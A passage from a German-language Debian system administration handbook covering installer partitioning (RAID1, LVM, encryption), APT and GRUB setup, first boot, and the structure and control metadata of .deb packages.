Einige RAID-Varianten ermöglichen die Duplizierung von auf Festplatten gespeicherten Informationen, um so Datenverluste zu vermeiden, falls eine von ihnen von einem Hardwareproblem betroffen wird. Level-1-RAID speichert eine einfache identische Kopie (Spiegel) einer Festplatte auf einem anderen Laufwerk, während Level-5-RAID redundante Daten über mehrere Platten verteilt und so die vollständige Rekonstruktion einer versagenden Platte ermöglicht.

Wir werden nur Level-1-RAID beschreiben, das am einfachsten umzusetzen ist. Der erste Schritt besteht darin, zwei Partitionen gleicher Größe auf zwei verschiedenen Festplatten einzurichten und sie als „physikalisches Laufwerk für RAID“ zu bezeichnen.

Anschließend müssen Sie im Partitionierungsprogramm die Option „Software-RAID konfigurieren“ auswählen, um diese beiden Partitionen zu einer neuen virtuellen Platte zusammenzuführen, und dann auf dem Konfigurationsbildschirm „MD-Gerät erstellen“ auswählen. Danach müssen Sie eine Reihe von Fragen zu diesem neuen Gerät beantworten. Als erstes wird nach dem zu verwendenden RAID-Level gefragt, der in unserem Fall „RAID1“ ist. Als zweites wird nach der Anzahl der aktiven Geräte gefragt - in unserem Fall zwei, was der Anzahl der Partitionen entspricht, die bei diesem MD-Gerät verwendet werden. Als drittes wird nach der Anzahl von Reservegeräten gefragt - 0; wir haben keine zusätzliche Platte vorgesehen, um für eine möglicherweise defekte Platte einzuspringen. Die letzte Frage fordert Sie auf, die Partitionen für das RAID-Gerät auszuwählen - dies sollten die beiden sein, die wir für diesen Zweck vorgesehen haben (achten Sie darauf, nur die Partitionen auszuwählen, bei denen ausdrücklich „raid“ vermerkt ist).

Im Hauptmenü erscheint nun eine neue virtuelle „RAID“-Platte. Diese Platte wird als einzelne nicht löschbare Partition dargestellt, deren Verwendung wir jedoch wählen können (gerade so wie bei jeder anderen Partition).

Für weitere Einzelheiten zu RAID-Funktionen siehe Abschnitt 12.1.1, „Software-RAID“.

4.2.13.4. Den Logical Volume Manager (LVM) konfigurieren

LVM ermöglicht es Ihnen, „virtuelle“ Partitionen zu erstellen, die sich über mehrere Platten erstrecken. Dies hat zwei Vorteile: die Größe der Partitionen wird nicht mehr durch die individuellen Platten begrenzt, sondern durch ihre gesamte Größe, und Sie können jederzeit die Größe einer bestehenden Partition verändern, eventuell nachdem Sie, wenn nötig, eine weitere Platte hinzugefügt haben.

LVM verwendet eine besondere Terminologie: eine virtuelle Partition ist ein „logisches Volume“, das wiederum Teil einer „Volume-Gruppe“ oder einer Verbindung mehrerer „physikalischer Volumes“ ist. Jeder dieser Begriffe bezieht sich tatsächlich auf eine „reale“ Partition (oder ein Software-RAID-Laufwerk).

Diese Technik arbeitet auf sehr einfache Weise: jedes Volume, ob physikalisch oder logisch, wird in Blöcke gleicher Größe unterteilt, die durch den LVM miteinander in Übereinstimmung gebracht werden. Durch das Hinzufügen einer neuen Platte wird ein neues physikalisches Volume erzeugt, und diese neuen Blöcke können dann jeder beliebigen Volume-Gruppe zugeordnet werden. Alle Partitionen einer derartig erweiterten Volume-Gruppe erhalten so zusätzlichen Raum, in den sie sich ausdehnen können.

Das Partitionierungsprogramm konfiguriert LVM in mehreren Schritten. Zunächst müssen Sie auf den vorhandenen Festplatten die Partitionen erstellen, die „physikalische Volumes für LVM“ sein werden. Um LVM zu aktivieren, müssen Sie die Option „Logical Volume Manager konfigurieren“ auswählen und dann auf demselben Konfigurationsbildschirm die Option „Volume-Gruppe erstellen“, der dann die bestehenden physikalischen Volumes zugeordnet werden. Schließlich können Sie logische Volumes innerhalb dieser Volume-Gruppe erstellen. Beachten Sie, dass das automatische Partitionierungssystem alle diese Schritte selbstständig ausführen kann.

Im Partitionierungsmenü erscheint jedes physikalische Volume als Platte mit einer einzelnen Partition, die nicht gelöscht werden kann, die Sie jedoch nach Wunsch verwenden können.

Die Verwendung des LVM ist in Abschnitt 12.1.2, „LVM“ ausführlicher beschrieben.

4.2.13.5. Verschlüsselte Partitionen einrichten

Um die Vertraulichkeit Ihrer Daten sicherzustellen, zum Beispiel beim Verlust oder Diebstahl Ihres Rechners oder einer Festplatte, ist es möglich, die Daten auf einigen Partitionen zu verschlüsseln. Dieses Merkmal kann unterhalb jedes Dateisystems eingefügt werden, da, wie LVM auch, Linux (genauer der dm-crypt-Treiber) den Device Mapper benutzt, um eine virtuelle Partition (deren Inhalt geschützt wird) auf der Grundlage einer darunter liegenden Partition zu erstellen, die die Daten in verschlüsselter Form aufnimmt (dank LUKS, Linux Unified Key Setup, einem Standardformat, das das Speichern von verschlüsselten Daten wie auch von Meta-Informationen zur Angabe des verwendeten Verschlüsselungsalgorithmus ermöglicht).

SICHERHEIT Verschlüsselte Swap-Partition

Während eine verschlüsselte Partition verwendet wird, wird der Verschlüsselungscode im Speicher (RAM) gehalten. Da das Abrufen dieses Codes die Entschlüsselung der Daten ermöglicht, ist es äußerst wichtig, keine Kopie dieses Codes zu hinterlassen, die für einen möglichen Dieb des Rechners oder der Festplatte oder für einen Wartungstechniker zugänglich wäre. Dies kann bei einem Laptop jedoch leicht geschehen, da der Inhalt des RAM im Ruhezustand (Hibernation) in der Swap-Partition gespeichert bleibt. Falls diese Partition nicht verschlüsselt ist, könnte der Dieb Zugang zum Code erhalten und ihn zum Entschlüsseln der Daten auf den verschlüsselten Partitionen verwenden. Es ist daher unabdingbar, dass Sie auch die Swap-Partition verschlüsseln, wenn Sie verschlüsselte Partitionen verwenden!

Das Debian-Installationsprogramm warnt den Nutzer, wenn er versucht, eine verschlüsselte Partition zu erstellen, während die Swap-Partition unverschlüsselt ist.

Zur Erstellung einer verschlüsselten Partition müssen Sie zunächst einer vorhandenen Partition diesen Zweck zuweisen. Hierzu wählen Sie eine Partition aus und zeigen an, dass sie als „physikalisches Volume für Verschlüsselung“ verwendet werden soll. Nachdem Sie die Platte, die das zu erstellende physikalische Volume enthält, partitioniert haben, wählen Sie „verschlüsselte Volumes konfigurieren“ aus. Das Programm wird dann vorschlagen, das physikalische Volume mit Zufallsdaten vorzubereiten (was das Auffinden der wirklichen Daten schwieriger macht), und wird Sie bitten, eine „Verschlüsselungs-Passphrase“ einzugeben, die Sie in Zukunft jedes Mal, wenn Sie Ihren Rechner starten, eingeben müssen, um Zugang zum Inhalt der verschlüsselten Partition zu erhalten. Nachdem Sie diesen Schritt erledigt haben und zum Menü des Partitionierungsprogramms zurückgekehrt sind, werden Sie dort eine neue Partition in einem „verschlüsselten Volume“ vorfinden, die Sie dann wie jede andere Partition konfigurieren können. In den meisten Fällen wird diese Partition als physikalisches Volume für LVM verwendet, um so mehrere Partitionen (logische Volumes unter LVM) mit demselben Verschlüsselungscode zu schützen, einschließlich der Swap-Partition (siehe Seitenleiste SICHERHEIT Verschlüsselte Swap-Partition).

4.2.14. Das Grundsystem installieren

Dieser Schritt, der keinen Eingriff des Nutzers erfordert, installiert die Pakete des Debian-„Grundsystems“. Hierzu gehören die Hilfsprogramme dpkg und apt, mit denen Debian-Pakete verwaltet werden, wie auch die zum Hochfahren und Starten des Systems erforderlichen Dienstprogramme.

Abbildung 4.11. Installation des Grundsystems

4.2.15. Den Paketmanager (apt) konfigurieren

Um zusätzliche Software installieren zu können, muss APT konfiguriert werden und ihm mitgeteilt werden, wo Debian-Pakete zu finden sind. Dieser Schritt ist soweit wie möglich automatisiert. Er beginnt mit der Frage, ob er eine Netzwerkquelle für die Pakete verwenden muss, oder ob er nach Paketen nur auf der CD-ROM suchen soll.

HINWEIS Debian-CD-ROM im Laufwerk

Falls das Installationsprogramm eine Debian-Installationsplatte im CD/DVD-Laufwerk entdeckt, ist es nicht erforderlich, APT für die Suche nach Paketen im Netzwerk zu konfigurieren: APT ist automatisch so konfiguriert, dass es Pakete von einem Laufwerk für Wechseldatenträger liest. Falls die Platte Teil eines Sets ist, wird das Programm anbieten, auch die anderen Platten zu „erkunden“, um so alle Pakete zu erfassen, die auf ihnen gespeichert sind.

Falls es erforderlich ist, Pakete aus dem Netz nachzuladen, kann mit den nächsten beiden Fragen ein Server ausgewählt werden, von dem diese Pakete herunterzuladen sind, indem zunächst ein Land und dann ein in diesem Land verfügbarer Spiegelserver ausgewählt wird (ein Spiegelserver ist ein öffentlicher Server, der Kopien aller Dateien des Debian-Master-Archivs beherbergt).

Abbildung 4.12. Einen Debian-Spiegelserver auswählen

Schließlich schlägt das Programm vor, einen HTTP-Proxy zu verwenden. Falls kein Proxy vorhanden ist, besteht eine direkte Internetverbindung. Wenn Sie http://proxy.falcot.com:3128 eingeben, wird Apt den Falcot proxy/cache, ein „Squid“-Programm, verwenden. Sie können diese Einstellungen finden, indem Sie sich die Konfiguration eines Webbrowsers auf einem anderen Rechner, der mit demselben Netzwerk verbunden ist, ansehen.

Die Dateien Packages.gz und Sources.gz werden dann automatisch heruntergeladen, um die Liste der von APT erkannten Pakete zu aktualisieren.

ZURÜCK ZU DEN GRUNDLAGEN HTTP-Proxy

Ein HTTP-Proxy ist ein Server, der eine HTTP-Anfrage für Netzwerknutzer weiterleitet. Manchmal hilft er, das Herunterladen zu beschleunigen, indem er eine Kopie von Dateien aufhebt, die durch ihn übertragen wurden (wir sprechen dann von Proxy/Cache). Manchmal ist er die einzige Möglichkeit, einen externen Web-Server zu erreichen; in solchen Fällen ist es unerlässlich, während der Installation die entsprechende Frage zu beantworten, damit das Programm die Debian-Pakete über ihn herunterladen kann.

Squid ist der Name der Server-Software, die von Falcot Corp verwendet wird, um diesen Dienst anzubieten.

4.2.16. Debian-Paketpopularitätswettbewerb

Das Debian-System enthält ein Paket namens popularity-contest, dessen Aufgabe darin besteht, Statistiken über die Paketnutzung zu erstellen. Es sammelt jede Woche Informationen über die installierten und in jüngster Zeit benutzten Pakete und sendet diese Informationen anonym an die Debian-Projektserver. Das Projekt kann diese Informationen dann dazu benutzen, die relative Bedeutung jedes Pakets zu bestimmen, die die ihm gewährte Priorität beeinflusst. Insbesondere werden die „populärsten“ Pakete in die Installations-CD-ROM aufgenommen, wodurch ihr Zugang für Nutzer erleichtert wird, die sie nicht herunterladen oder ein vollständiges Set kaufen möchten.

Dieses Paket wird aus Rücksicht auf die Vertraulichkeit der Nutzung durch die Anwender nur auf Nachfrage aktiviert.

4.2.17. Pakete zur Installierung auswählen

Der nächste Schritt ermöglicht es, ganz allgemein den Verwendungszweck des Rechners auszuwählen. Die zehn vorgeschlagenen Aufgaben entsprechen Listen von zu installierenden Paketen. Die Liste der Pakete, die tatsächlich installiert werden, wird später genauer abgestimmt und vervollständigt, sie stellt jedoch auf einfache Weise einen guten Ausgangspunkt dar.

Einige Pakete werden auch nach Maßgabe der erkannten Hardware automatisch installiert (dank des Programms discover-pkginstall aus dem Paket discover). Falls zum Beispiel ein virtueller Rechner unter VirtualBox erkannt wird, installiert das Programm das Paket virtualbox-guest-dkms, das eine bessere Integration des virtuellen Rechners mit dem Wirtssystem ermöglicht.

Abbildung 4.13. Wahlmöglichkeiten

4.2.18. Den Boot-Loader GRUB installieren

Der Boot-Loader ist das erste vom BIOS gestartete Programm. Er lädt den Linux-Kernel in den Speicher und führt ihn dann aus. Häufig bietet er ein Menü an, das es dem Nutzer ermöglicht, den zu ladenden Kernel oder das zu startende Betriebssystem auszuwählen.

VORSICHT Boot-Loader und Dual-Boot

In diesem Abschnitt des Debian-Installationsprozesses werden die bereits auf dem Rechner installierten Betriebssysteme erkannt und entsprechende Einträge automatisch zum Boot-Menü hinzugefügt. Dies geschieht jedoch nicht bei allen Installationsprogrammen.

Vor allem, wenn Sie anschließend Windows installieren (oder wieder installieren), wird der Boot-Loader gelöscht. Debian befindet sich dann nach wie vor auf der Festplatte, aber ist nicht mehr vom Boot-Menü aus zugänglich. Sie müssen dann das Debian-Installationssystem im rescue-Modus starten, um einen weniger ausgrenzenden Boot-Loader einzurichten. Dieser Arbeitsgang wird ausführlich im Installationshandbuch beschrieben.

→ http://www.debian.org/releases/stable/amd64/ch08s07.html

Standardmäßig enthält das von GRUB vorgeschlagene Menü alle installierten Linux-Kernel, wie auch alle anderen erkannten Betriebssysteme. Daher sollten Sie den Vorschlag akzeptieren, es in den Master Boot Record zu installieren. Da das Behalten älterer Kernelversionen die Möglichkeit wahrt, dasselbe System zu starten, auch wenn der zuletzt installierte Kernel fehlerhaft oder schlecht an die Hardware angepasst ist, ist es am besten, stets einige der älteren Kernel-Versionen beizubehalten.

GRUB ist dank seiner technischen Überlegenheit der von Debian installierte Standard-Boot-Loader: er funktioniert mit den meisten Dateisystemen und erfordert daher nach der Installation eines neuen Kernels keine Aktualisierung, da er seine Konfiguration während des Hochfahrens liest und die genaue Position des neuen Kernels findet. In der Version 1 (inzwischen „GRUB Legacy“ genannt) konnte GRUB nicht mit allen Kombinationen von LVM und Software-RAID umgehen; die standardmäßig installierte Version 2 ist da vollständiger. Es mag noch Situationen geben, in denen es eher angeraten ist, LILO (einen anderen Boot-Loader) zu installieren; das Installationsprogramm wird das dann automatisch vorschlagen.

Für weitere Informationen zur Konfigurierung von GRUB sehen Sie bitte hier nach: Abschnitt 8.8.3, „Konfigurierung von GRUB 2“.

ACHTUNG Boot-Loader und Architekturen

LILO und GRUB, die in diesem Kapitel erwähnt wurden, sind Boot-Loader für i386- und amd64-Architekturen. Falls Sie Debian auf einer anderen Architektur installieren, werden Sie einen anderen Boot-Loader verwenden müssen. Unter anderem sind folgende zu nennen: yaboot oder quik für powerpc, silo für sparc, aboot für alpha, arcboot für mips.

4.2.19. Die Installation fertigstellen und neu starten

Die Installation ist nun abgeschlossen, das Programm bittet Sie, die CD-ROM aus dem Laufwerk zu entfernen und den Rechner neu zu starten.

4.3. Nach dem ersten Hochfahren

Falls Sie die Option „Desktop-Umgebung“ ohne explizite Desktop-Auswahl oder mit der Auswahl "GNOME" aktiviert hatten, wird der Rechner den Login-Manager gdm3 anzeigen.

Abbildung 4.14. Erstes Hochfahren

Der bereits angelegte Nutzer kann sich dann anmelden und sofort zu arbeiten beginnen.

4.3.1. Zusätzliche Software installieren

Die installierten Pakete entsprechen den während der Installation ausgewählten Profilen, aber nicht notwendigerweise der tatsächlichen Verwendung des Rechners. Deshalb möchten Sie vielleicht ein Paket-Verwaltungsprogramm benutzen, um die Auswahl der installierten Pakete zu verfeinern. Die zwei am häufigsten verwendeten Programme (die bereits installiert sind, wenn das Profil „Desktop-Umgebung“ ausgewählt wurde) sind apt (über die Befehlszeile zu erreichen) und synaptic ("Synaptic-Paketverwaltung" in den Menüs).

Um die Installation von zueinander passenden Gruppen von Programmen zu erleichtern, erstellt Debian „Aufgaben“, die einem bestimmten Verwendungszweck dienen (Mailserver, Dateiserver, usw.). Sie hatten bereits die Möglichkeit, sie während der Installation auszuwählen, und Sie können sie erneut mit Paket-Verwaltungsprogrammen wie aptitude (die Aufgaben sind in einem besonderen Abschnitt aufgelistet) und synaptic (über das Menü Bearbeiten → Pakete nach Aufgaben vormerken) abrufen.

Aptitude ist eine Schnittstelle für APT im Vollbild-Textmodus. Sie ermöglicht es dem Nutzer, die Liste der verfügbaren Pakete nach verschiedenen Kategorien (installierte oder nicht installierte Pakete, nach Aufgabe, nach Bereich usw.) zu durchsuchen und die für jedes von ihnen verfügbare Information anzusehen (Abhängigkeiten, Konflikte, Beschreibung, usw.). Jedes Paket kann mit „installieren“ (um es zu installieren, die +-Taste drücken) oder „entfernen“ (um es zu entfernen, die --Taste drücken) gekennzeichnet werden. Alle diese Arbeitsgänge werden dann gleichzeitig ausgeführt, sobald Sie sie durch das Drücken der g-Taste („g“ für „go!“) bestätigt haben. Keine Sorge, falls Sie einige Programme vergessen haben; Sie können aptitude erneut benutzen, sobald die erste Installation beendet ist.

TIP Debian kümmert sich auch um Nutzer, deren Muttersprache nicht Englisch ist

Mehrere Installationsschritte dienen der Lokalisierung des Systems in weiteren Sprachen neben Englisch. Dazu gehören übersetzte Unterlagen, Wörterbücher und verschiedene andere Pakete, die hilfreich sind für anderssprachige Nutzer. Die passende Option wird automatisch ausgewählt, falls während der Installation eine nicht-englische Sprache ausgewählt wurde.

KULTUR dselect, die alte Schnittstelle für die Paketinstallation

Vor aptitude war dselect das Standardprogramm zur Auswahl von Paketen für die Installation, die alte grafische mit dpkg verbundene Schnittstelle. Sie ist nicht empfehlenswert, da sie für Anfänger ein nur schwer zu benutzendes Programm ist.

Selbstverständlich ist es auch möglich, überhaupt keine Aufgabe für die Installation auszuwählen. In diesem Fall können Sie die gewünschte Software manuell mit dem Befehl apt-get oder aptitude installieren (beide sind über die Befehlszeile erreichbar).

WÖRTERVERZEICHNIS Paketabhängigkeiten, Konflikte

Im Debian Paket-Jargon ist eine „Abhängigkeit“ ein anderes Paket, das für das richtige Funktionieren des betreffenden Pakets erforderlich ist. Umgekehrt ist ein „Konflikt“ ein Paket, das nicht gleichzeitig mit einem anderen installiert sein kann.

Diese Begriffe sind ausführlicher dargestellt in Kapitel 5, Paketierungssystem: Hilfsprogramme und grundlegende Prinzipien.

4.3.2. Das System aktualisieren

Ein erstes aptitude safe-upgrade (ein Befehl zur automatischen Aktualisierung der installierten Programme) ist normalerweise erforderlich, insbesondere für mögliche Sicherheitsaktualisierungen, die seit der Veröffentlichung der letzten stabilen Debian-Version herausgegeben wurden. Diese Aktualisierungen können einige zusätzliche Fragen durch debconf, Debians Standardkonfigurationsprogramm, stellen. Für weitere Informationen zu diesen von aptitude durchgeführten Aktualisierungen siehe Abschnitt 6.2.3, „Das System aktualisieren“.

Kapitel 5. Paketierungssystem: Hilfsprogramme und grundlegende Prinzipien

Als Debian-Systemadministrator werden Sie regelmäßig mit .deb-Paketen umgehen, da sie festgelegte funktionale Einheiten (Anwendungen, Dokumentation usw.) enthalten, deren Installation und Wartung sie vereinfachen. Deshalb ist es gut zu wissen, was sie sind und wie man sie benutzt.

Dieses Kapitel beschreibt die Struktur und den Inhalt von „Binär“- und „Quell“-Paketen. Erstere sind .deb-Dateien, die direkt mit dem Befehl dpkg benutzt werden können, während letztere den Programm-Quellcode sowie Anweisungen zum Bau von Binärpaketen enthalten.

5.1. Struktur eines Binärpakets

Das Debian-Paketformat ist so gestaltet, dass sein Inhalt auf jedem Unixsystem entpackt werden kann, das über die klassischen Befehle ar, tar und gzip (manchmal auch xz oder bzip2) verfügt. Diese eigentlich triviale Anforderung ist wichtig für die Portierbarkeit und Wiederherstellung.

Nehmen Sie zum Beispiel an, dass Sie aus Versehen das Programm dpkg gelöscht haben, und dass Sie daher keine Debian-Pakete mehr installieren können. Da dpkg selbst ein Debian-Paket ist, sieht es so aus, als ob ihr System erledigt sei... Zum Glück kennen Sie das Format eines Pakets und können daher die .deb-Datei des dpkg-Pakets herunterladen und es manuell installieren (siehe Seitenleiste HILFSPROGRAMME dpkg, APT und ar). Wenn durch ein Missgeschick eines oder mehrere der Programme ar, tar oder gzip/xz/bzip2 verschwunden sind, brauchen Sie nur das fehlende Programm von einem anderen System zu kopieren (da jedes von ihnen auf vollständig autonome Weise ohne Abhängigkeiten arbeitet, reicht einfaches Kopieren). Wenn Ihr System ein noch schlimmeres Schicksal erlitten hat und auch diese nicht funktionieren (vielleicht fehlen die tiefsten Systembibliotheken?), sollten Sie die statische Version von busybox ausprobieren (bereitgestellt im Paket busybox-static), die noch eigenständiger ist und Unterbefehle wie busybox ar, busybox tar und busybox gunzip bietet.

HILFSPROGRAMME dpkg, APT und ar

dpkg ist das Programm, das mit .deb-Dateien umgeht, sie insbesondere extrahiert, analysiert und entpackt.

APT ist eine Gruppe von Programmen, die es ermöglichen, Veränderungen auf höherer Ebene des Systems durchzuführen: ein Paket zu installieren oder zu entfernen (und dabei Abhängigkeiten erfüllt zu halten), das System zu aktualisieren, die verfügbaren Pakete aufzulisten usw.

Das Paket ar ermöglicht es, mit Dateien, die diesen Namen tragen, umzugehen: ar t archiv zeigt eine Liste der in einem solchen Archiv enthaltenen Dateien an, ar x archiv entpackt die Dateien aus dem Archiv in das aktuelle Arbeitsverzeichnis, ar d archiv datei löscht eine Datei aus dem Archiv usw. Die zugehörige Handbuchseite (ar(1)) dokumentiert noch viele andere Funkionen. ar ist ein sehr rudimentäres Werkzeug, das ein Unix-Administrator nur selten benutzen wird. Stattdessen verwenden Administratoren üblicherweise tar, ein höher entwickeltes Programm für das Archiv- und Dateimanagement. Daher ist es einfach, dpkg wieder herzustellen, falls es versehentlich gelöscht wurde. Sie brauchen nur das Debian-Paket herunterzuladen und seinen Inhalt aus dem Archiv data.tar.gz in das Wurzelverzeichnis des Systems (/) zu entpacken:

# ar x dpkg_1.17.23_amd64.deb
# tar -C / -p -xzf data.tar.gz

ZURÜCK ZU DEN GRUNDLAGEN Ausdrucksweise in den Handbuchseiten

Für Anfänger kann es verwirrend sein, in der Literatur Verweise auf „ar(1)“ zu finden. Dies ist gemeinhin eine bequeme Art, auf die Handbuchseite namens ar in Abschnitt 1 zu verweisen.

Manchmal wird diese Ausdrucksweise auch verwendet um Mehrdeutigkeiten zu beseitigen, um zum Beispiel zwischen dem Befehl printf, der in printf(1) beschrieben ist, und der Funktion printf in der Programmiersprache C, auf die sich printf(3) bezieht, zu unterscheiden.

Kapitel 7, Probleme lösen und relevante Informationen finden erläutert Handbuchseiten ausführlicher (siehe Abschnitt 7.1.1, „Handbuchseiten“).

Werfen Sie einen Blick auf den Inhalt einer .deb-Datei:

$ ar t dpkg_1.17.23_amd64.deb
debian-binary
control.tar.gz
data.tar.gz
$ ar x dpkg_1.17.23_amd64.deb
$ ls
control.tar.gz  data.tar.gz  debian-binary  dpkg_1.17.23_amd64.deb
$ tar tzf data.tar.gz | head -n 15
./
./var/
./var/lib/
./var/lib/dpkg/
./var/lib/dpkg/parts/
./var/lib/dpkg/info/
./var/lib/dpkg/alternatives/
./var/lib/dpkg/updates/
./etc/
./etc/logrotate.d/
./etc/logrotate.d/dpkg
./etc/dpkg/
./etc/dpkg/dpkg.cfg.d/
./etc/dpkg/dpkg.cfg
./etc/alternatives/
$ tar tzf control.tar.gz
./
./conffiles
./postinst
./md5sums
./prerm
./preinst
./control
./postrm
$ cat debian-binary
2.0

Wie Sie sehen, besteht das ar-Archiv eines Debian-Pakets aus drei Dateien:

- debian-binary. Dies ist eine Textdatei, die lediglich die Version der verwendeten .deb-Datei angibt (2015: Version 2.0).

- control.tar.gz. Diese Archivdatei enthält alle verfügbaren Meta-Informationen, wie Name und die Version des Paketes. Teile dieser Meta-Information ermöglicht es Paket-Management-Werkzeugen festzustellen, ob die enthaltenen Programme, zum Beispiel unter Beachtung der Liste der bereits auf dem Gerät installierten Pakete, installiert oder deinstalliert werden können.

- data.tar.gz. Dieses Archiv enthält alle Dateien, die aus dem Paket entpackt werden sollen; hier sind die ausführbaren Dateien, die Dokumentation usw. gespeichert. Möglicherweise verwenden einige Pakete andere Komprimierungsformate, wobei die Datei dann anders heißt (data.tar.bz2 für bzip2, data.tar.xz für XZ).

5.2. Paket-Meta-Information

Das Debian-Paket ist nicht nur ein für die Installation vorgesehenes Archiv von Dateien. Es ist Teil eines größeren Ganzen und beschreibt seine Beziehungen zu anderen Debian-Paketen (Abhängigkeiten, Konflikte, Vorschläge). Es stellt auch Skripte zur Verfügung, die die Ausführung von Befehlen in verschiedenen Lebensphasen des Paketes (Installation, Entfernung, Aktualisierung) ermöglichen. Diese vom Paket-Verwaltungsprogramm benutzten Daten sind nicht Teil des Softwarebündels, sondern sind innerhalb des Pakets sogenannte „Meta-Informationen“ (Information über andere Information).

5.2.1. Beschreibung: Die control-Datei

Diese Datei verwendet eine den E-Mail-Kopfzeilen ähnliche Struktur (wie in RFC 2822 definiert). So sieht zum Beispiel für aptdie control-Datei folgendermaßen aus:

$ apt-cache show apt
Package: apt
Version: 1.0.9.6
Installed-Size: 3788
Maintainer: APT Development Team <deity@lists.debian.org>
Architecture: amd64
Replaces: manpages-it (<< 2.80-4~), manpages-pl (<< 20060617-3~), openjdk-6-jdk (<< 6b24-1.11-0ubuntu1~), sun-java5-jdk (>> 0), sun-java6-jdk (>> 0)
Depends: libapt-pkg4.12 (>= 1.0.9.6), libc6 (>= 2.15), libgcc1 (>= 1:4.1.1), libstdc++6 (>= 4.9), debian-archive-keyring, gnupg
Suggests: aptitude | synaptic | wajig, dpkg-dev (>= 1.17.2), apt-doc, python-apt
Conflicts: python-apt (<< 0.7.93.2~)
Breaks: manpages-it (<< 2.80-4~), manpages-pl (<< 20060617-3~), openjdk-6-jdk (<< 6b24-1.11-0ubuntu1~), sun-java5-jdk (>> 0), sun-java6-jdk (>> 0)
Description-en: commandline package manager
This package provides commandline tools for searching and
managing as well as querying information about packages
as a low-level access to all features of the libapt-pkg library.
.
These include:
* apt-get for retrieval of packages and information about them
from authenticated sources and for installation, upgrade and
removal of packages together with their dependencies
* apt-cache for querying available information about installed
as well as installable packages
* apt-cdrom to use removable media as a source for packages
* apt-config as an interface to the configuration settings
* apt-key as an interface to manage authentication keys
Description-md5: 9fb97a88cb7383934ef963352b53b4a7
Tag: admin::package-management, devel::lang:ruby, hardware::storage,
hardware::storage:cd, implemented-in::c++, implemented-in::perl,
implemented-in::ruby, interface::commandline, network::client,
protocol::ftp, protocol::http, protocol::ipv6, role::program,
role::shared-lib, scope::application, scope::utility, sound::player,
suite::debian, use::downloading, use::organizing, use::searching,
works-with::audio, works-with::software:package, works-with::text
Section: admin
Priority: important
Filename: pool/main/a/apt/apt_1.0.9.6_amd64.deb
Size: 1107560
MD5sum: a325ccb14e69fef2c50da54e035a4df4
SHA1: 635d09fcb600ec12810e3136d51e696bcfa636a6
SHA256: 371a559ce741394b59dbc6460470a9399be5245356a9183bbeea0f89ecaabb03

ZURÜCK ZU DEN GRUNDLAGEN RFC — Internet-Standards

RFC ist die Abkürzung für „Request For Comments“ (Bitte um Kommentare). Ein RFC ist üblicherweise ein technisches Dokument, das einen zukünftigen Internet-Standard beschreibt. Bevor sie standardisiert und für Veränderungen gesperrt werden, werden diese Standards einer öffentlichen Überprüfung unterworfen (daher der Name). Die IETF (Internet Engineering Task Force) entscheidet über die Statusentwicklung dieser Dokumente (vorgeschlagener Standard, Standardentwurf oder Standard).

RFC 2026 definiert den Prozess der Standardisierung von Internet-Protokollen.

→ http://www.faqs.org/rfcs/rfc2026.html

5.2.1.1. Abhängigkeiten: dieDepends-Zeile

Die Abhängigkeiten sind in der Depends-Zeile des Paketkopfs definiert. Dies ist eine Liste von Bedingungen, die erfüllt sein müssen, damit das Paket korrekt funktioniert - diese Information wird von Programmen wie apt dazu verwendet, die erforderlichen Bibliotheken in der passenden Version zu installieren, auf die das zu installierende Programm angewiesen ist. Für jede Abhängigkeit kann der Bereich der Versionen, die diese Bedingung erfüllen, eingeschränkt werden. Anders ausgedrückt ist es möglich, die Tatsache zu bekunden, dass wir das Paket libc6 in einer Version größer oder gleich „2.15“ benötigen (geschrieben „libc6 (>= 2.15)“). Für den Versionsvergleich gibt es folgende Operatoren:

- <<: kleiner als;

- <=: kleiner als oder gleich;

- =: gleich (man beachte, „2.6.1“ ist nicht gleich „2.6.1-1“);

- >=: größer als oder gleich;

- >>: größer als.

In einer Liste der zu erfüllenden Bedingungen dient das Komma als Trennzeichen. Logisch wird es als „UND“ interpretiert. In den Bedingungen drückt der vertikale Strich („|“) ein logisches „ODER“ aus (es ist ein nicht ausschließendes bzw. inklusives „ODER“, im Gegensatz zum exklusiven „ODER“, bei dem nur eine der Aussagen wahr ist). Es hat einen höheren Rang als „UND“ und kann so oft aneinandergereiht werden wie nötig. So wird die Abhängigkeit „(A ODER B) UND C“ geschrieben als A | B, C. Dagegen sollte der Ausdruck „A ODER (B UND C)“ geschrieben werden als „(A ODER B) UND (A ODER C)“, da die Depends-Zeilen keine Klammern zulassen, die die Rangordnung zwischen den logischen Operatoren „ODER“ und „UND“ verändern. Es würde daher als A | B, A | C geschrieben.

→ http://www.debian.org/doc/debian-policy/ch-relationships.html

Das Abhängigkeitensystem ist eine gute Vorrichtung um das Funktionieren eines Programms sicherzustellen, aber es hat mit den „Meta-Paketen“ noch eine weitere Funktion. Dies sind leere Pakete, die lediglich Abhängigkeiten beschreiben. Sie erleichtern die Installation einer zusammenhängenden Gruppe von Programmen, die vom Betreuer des Meta-Pakets ausgewählt wurden. So installiert apt install Meta-Paket automatisch alle Programme unter Verwendung der Abhängigkeiten des Meta-Pakets. Die Pakete gnome, kde-full und linux-image-amd64 sind Beispiele solcher Meta-Pakete.

DEBIAN-RICHTLINIEN Pre-Depends, ein anspruchsvolleres Depends

„Vorabhängigkeiten“, die in der „Pre-Depends“-Zeilen des Paketkopfes aufgeführt sind, vervollständigen die normalen Abhängigkeiten; ihre Syntax ist identisch. Eine normale Abhängigkeit bedeutet, dass das betreffende Paket vor dem Paket, das die Abhängigkeit dokumentiert, entpackt und konfiguriert werden muss. Eine Vorabhängigkeit schreibt vor, dass das betreffende Paket entpackt und konfiguriert werden muss, bevor das Skript zur Auflösung der "normalemn" Abhängigkeiten des Paketes, das die Vorabhängigkeit definiert, ausgeführt wird, also vor dessen Installation.

Eine Vorabhängigkeit ist für apt sehr schwierig, da es der Reihenfolge der zu installierenden Pakete eine strenge Restriktion auferlegt. Deshalb wird von Vorabhängigkeiten abgeraten, es sei denn, sie sind unbedingt erforderlich. Es wird sogar empfohlen, andere Entwickler auf <debian-devel@lists.debian.org> zu Rate zu ziehen, bevor eine Vorabhängigkeit eingefügt wird. Es ist normalerweise möglich eine andere Lösung zur Umgehung des Problems zu finden.

DEBIAN-RICHTLINIEN Recommends-, Suggests- und Enhances-Zeilen

